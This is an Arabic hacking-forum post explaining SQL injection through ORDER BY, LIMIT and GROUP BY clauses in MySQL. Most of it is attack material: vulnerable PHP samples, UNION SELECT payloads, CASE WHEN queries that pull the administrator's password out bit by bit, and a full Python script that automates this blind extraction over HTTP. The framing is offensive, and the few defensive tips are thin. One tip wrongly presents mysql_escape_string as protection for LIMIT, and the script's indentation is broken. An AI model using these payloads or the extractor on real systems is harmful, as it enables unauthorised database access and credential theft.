عرض مشاركة واحدة
قديم 06-22-2011, 11:21 AM   رقم المشاركة : 1 (permalink)
معلومات العضو
bleu moon
 
الصورة الرمزية bleu moon
 

 

 
إحصائية العضو








bleu moon غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 12
bleu moon is on a distinguished road

. طرق قوية في استغلال تغرة SQL "غير نظرتك حول طرقية استغلال هذه التغره"


السلام عليكم ورحمة الله تعالى وبركاته

لقد شاهد العالم ضهور نوع جديد من هذه التغرات وطرق
الحمايه
و ... اصبحت اقوى وفعالة، وصار لابد للهكر اللجوء الى اساليب
جديدة في
الاختراق وايجاد نقاط الضعف لكي يتم استغلالها وفي الايام
الحالية ظهر نوع
جديد من ثغرات الحقن (SQL Injection) والتي يستغلها المخترق
في تنفيذ
مايريد وهناء يقوم المخترق بالتحكم في
الشروط
(ORDER BY, LIMIT or GROUP BY) في امر
الاستعلام.
سوف نقوم بالتطبيق على قواعد بيانات mysql server و مع العلم أن
هذه التقنية بالامكان تطبيقها على كافة قواعد البيانات.



في معظم ثغرات SQL Injection يتم التركيز على مابعد الشرط where
والتي يكون المستخدم هو المتحكم بها مثال:


كود:
SELECT fieldlist
FROM table WHERE field = '<part_controlled_by_user>';
في هذا الامر للاستعلام اذا قام المستخدم بادخال قمية غير المطلوب ادخالها
سوف يحدث خطاء (sql injection) وهناء يحتاج المخترق الى معرفة
عدد الحقول
(filedlist) لكي يتم تنفيذ استعلام الاتحاد او
(UNION SELECT SQL) لكي يتم استخارج البيانات المطلوبة
من القاعدة وسوف يكون شكل الاستغلال كالتالي:


كود:
SELECT fieldlist
FROM table WHERE field = 'INVALID_VALUE' UNION SELECT VERSION()

في الجزء الاول من امر الاستعلام لن يتم إعادة اي قيمة لأن الشرط هنا
سوف يكون خطاء وعوضاً عن ذلك سوف يتم عرض إصدار قاعدة البيانات
والتي سوف تكون في الجزء الثاني من امر الاستعلام و لن اطيل في التكلم عن
هذا النوع من الثغرات لأنها معروفه لدى الجميع وتم شرحها كثيراً في المنتدى
واضن ان اغلب محترفيها خريجي دورة فولكانو ههع

الحقن في شرط order by

نطبق على ملف php مصاب


كود:
<?php
include 'db.php';
if (isset($_GET["order_by"]))
$order_by = mysql_escape_string($_GET["order_by"]);
else
$order_by = 'name';
$result = mysql_query("SELECT * FROM users ORDER BY $order_by");
while( $row = mysql_fetch_array($result) ){
echo "<b>".$row["username"]."</b> - ";
echo " ".$row["name"]." - ";
echo " ".$row["email"];
echo "<br>";
}
?>

سوف تلاحظ ان المستخدم يمكنة التحكم في طريقة عرض النتجية النهائية
بواسطة إدخال قيمة من نوع
GET الى المتغير $order_by، إذا قمنا بطلب
الصفحة الرابط التالي:


كود:
/orderby?order_by=name

زي طريقة الاستغلال في عندنا الملف المصاب بالكود الخبيت وبعد الملف علامة ؟
من اجل استغلال ... راجع دورة كشف التغرات


سوف يقوم بعرض المستخدمين حسب الاسم وسوف تكون النتيجة على الشكل التالي:
  1. admin - volcano - admin@example.com
  2. John - sniper gaza - john@example.com
...

وعندما يتم طلب الرابط التالي:

كود:
orderby.php?order_by=email
سوف يتم عرض المستخدمين حسب الايميل وسوف تكون النتيجة على الشكل التالي:
  1. admin - volcano - admin@example.com
  2. Adrian - sniper gaza - adrian@example.com
نلاحظ ان المطور حاول استخدام بعض الفلترة بستخدامه
دالة 'mysql_escape_string' وهذا النوع من الحماية لن يجدي نفعاً
لأن القيمة المدخلة ليست بين علامات تنصيص (enclosed between quotes)
ويتعبر الكود السابق مصاب بثغرة حقن. وهذه الثغرة لا يمكننا ان نستخدم معها
UNION SELECT, إذا كيف يمكننا استغلالها؟ لو قمناء بتنفيذ استغلال مثل:


كود:
SELECT * FROM users ORDER BY name union select version()

سوف يعيد لنا خطاء يحمل الرسالة التالية:


كود:
"Incorrect usage of UNION and ORDER BY".


والفكرة هي ان order تعتمد على قيمة منطقية اما (true or false) ويجب

ان يكون الاستعلام بالشكل التالي:


كود:
SELECT * FROM users ORDER BY (case when ({boolean_condition}) then name else email end)


إذا, سوف يكون الاستعلام بالشكل التالي :


كود:
SELECT * FROM users ORDER BY (case when (1=1) then name else email end)
وفي مثل هذه الحالة الشرط (1=1) قيمة صحيحة وسوف يعرض لنا حسب
الاسم ، واذا كان الشرط هنا خطاء (1=0...) سوف يعرض على حسب الايميل
وسوف يكون على الشكل التالي :


كود:
SELECT * FROM users ORDER BY (case when (1=0) then name else email end)

باستخدام هذا الشرط بستطاعتنا ان نستخرج البيانات التي نريد من القاعده
على شكل واحد بت في نفس الوقت
(one bit at a time.) وعلى سبيل
المثال لو اردنا ان نستخرج كلمة السر للمدير
(administrator) سوف يكون
الاستعلام على الشكل التالي:


كود:
SELECT * FROM users ORDER BY (case when (ORD(MID((select password from  users where id=1),1,1))&1>0) then name else email end)


بعد تنفيذ هذا الاستعلام إذا كانت القيمة للشرط صحيحة اي يكون الحرف

الاول للباسورد 1 سوف يعرض النتيجة حسب الاسم وإذا لم تكن صحيحة اي

الحرف الاول من الباسورد لا يساوي 1 سوف يعرض على حسب

الايميل.

ويتم الاستمرار الى ان يتم عرض الباسورد كامل على الشكل
التالي:


كود:
SELECT * FROM users ORDER BY (case when (ORD(MID((select password from  users where id=1),1,1))&2>0) then name else email end)


لكن هذه العملية سوف تكون متعبة بشكل اليدوي لكن يوجد هناك سكربت بيثون

قام ببرمجتة Bogdan من فريق acunetix يسهل عملية استخراج
البيانات:







كود:
# ORDER BY data extractor (bogdan [at] acunetix.com)
import httplib, urllib, sys, string
from string import replace
# various configuration parameters
HOSTNAME = "bld01"
PORT = "80"
URL = "/insecuremag/orderby.php?order_by="
# the string that is returned when the condition is true
TRUE_STRING = "1 - <b>admin</b> - Clear Rivers - admin@email.com<br> 3- <b>John</b>"
# function to perform the actual data extraction using boolean queries
def extract_data(extract_data_query):
      print "Query: " + extract_data_query
      result = ""
      # bits array
      bits = [1, 2, 4, 8, 16, 32, 64, 128]
      char = 1
      while (1):
            i = 0
            value = 0
            while (i < 8):
                 # prepare request
                 h1 = httplib.HTTPConnection(HOSTNAME, PORT, timeout=20)
                 params = {}
                 # http headers
                 headers = {"Host": HOSTNAME,
                             "Accept": "*/*",
                             "User-Agent": "Mozilla/4.0 (Acunetix WVS)"}
                 # prepare SQL query
                 query = "(case when (ORD(MID((" + extract_data_query + ")," + str(char) + ",1))& " + str(bits[i]) + " >0) then name else email end)"
                 # make HTTP request
                 h1.request("GET", URL + urllib.quote_plus(query), params, headers)
                 try:
                      r1 = h1.getresponse()
                 except:
                      print "error ..."
                      sys.exit()
                 # check HTTP status code (we are looking for a 200 response)
                 if r1.status <> 200:
                      print "invalid status code: " + str(r1.status)
                      sys.exit()
            # good status code, move on ...
            data = r1.read()
            # determine bit value based on data, search true string
            if string.find(data, TRUE_STRING) != -1:
                print "1",
                value = value + bits[i]
            else:
                print "0",
            h1.close()
            # move to the next bit
            i = i + 1
       # game over?
      if value == 0:
           print " DONE"
           return result
      else:
           print " => " + str(value) + " => '" + chr(value) + "'"
           # save the current char, move on to the next one
           result = result + chr(value)
           char = char + 1
# main function
def main():
    # check for input params
    if len(sys.argv)<=1:
        print "usage orderby.py SQL_QUERY_TO_EXTRACT_DATA"
        sys.exit()
    query = sys.argv[1]
    print "[*] ORDER BY data extractor (bogdan [at] acunetix.com) [*]"
    print ""
    # extract the data
    data = extract_data(query)
    print ""
    print "result => " + data
if __name__ == '__main__':
    main()
قم بحفض محتوى السكربت على شكل name.py بعد قم بتشغيله وابدآ العمل ... :froown:

الحقن في شرط limit

كمان نشوف ملف php مصاب :

كود:
<?php
include 'db.php';
if (isset($_GET["limit"]))
$limit = mysql_escape_string($_GET["limit"]);
else
$limit = '3';
$result = mysql_query("SELECT * FROM users LIMIT $limit");
while( $row = mysql_fetch_array($result) ){
echo "<b>".$row["username"]."</b> - ";
echo " ".$row["name"]." - ";
echo " ".$row["email"];
echo "<br>";
}
?>
وهذا الكود ايضا يحتوي على ثغرة حقن لكن في هذه المرة الحقن سوف
يكون في الشرط (limit) وهذا النوع إستغلالة سهل ليس مثل الاستغلال
السابق الخاص بـ order . وباستطاعتنا استخدم (union) بطلب الصفحة
بشكل التالي:


كود:
/limit.php?limit=2+union+select+1,2,version(),4,5,6,7,8
وكما تلاحظ في الاستعلام السابق إن الاستغلال سهل جداً ولكي تحمي
نفسك من هذا النوع من الهجوم بمكانك استخدام احد الدالتين

كود:
$limit = mysql_escape_string($_GET["limit"]) او  $limit = intval($_GET["limit"])

تقوم هذه الدوال من التحقق من قيمة المدخلات ... بحب هذا الحقن


الحقن في شرط group by

في هذه الحالة تكون مشابهه جداً الى حالة LIMIT اي يمكنك استغلالها
من خلال (UNION SELECT) لاستخراج البيانات المطلوبة وسوف يكون
الاستعلام بالشكل التالي:


كود:
select * from users group by id union select 1,2,version(),4,5,6,7,8...
ولكي تحمي نفسك من هذا النوع من الهجمات استخدم نفس الاسلوب الذي
ذكر في (ORDER BY) اي تحدد (white list) للقيم التي يجب عمل عليها
GROUP BY.

وكخلاصة فحقن قواعد البيانات يبدآ من ضهور خطآ sql ويتم تتبعه الى الوصول الى الهذف دون ادنى مشكلة ...

وفي الاخير تقبلو مني تحياتي واسفي حول هذا الموضوع "على السريع ... "



'vr r,dm td hsjyghg jyvm SQL "ydv k/vj; p,g 'vrdm i`i hgjyvi"

   

رد مع اقتباس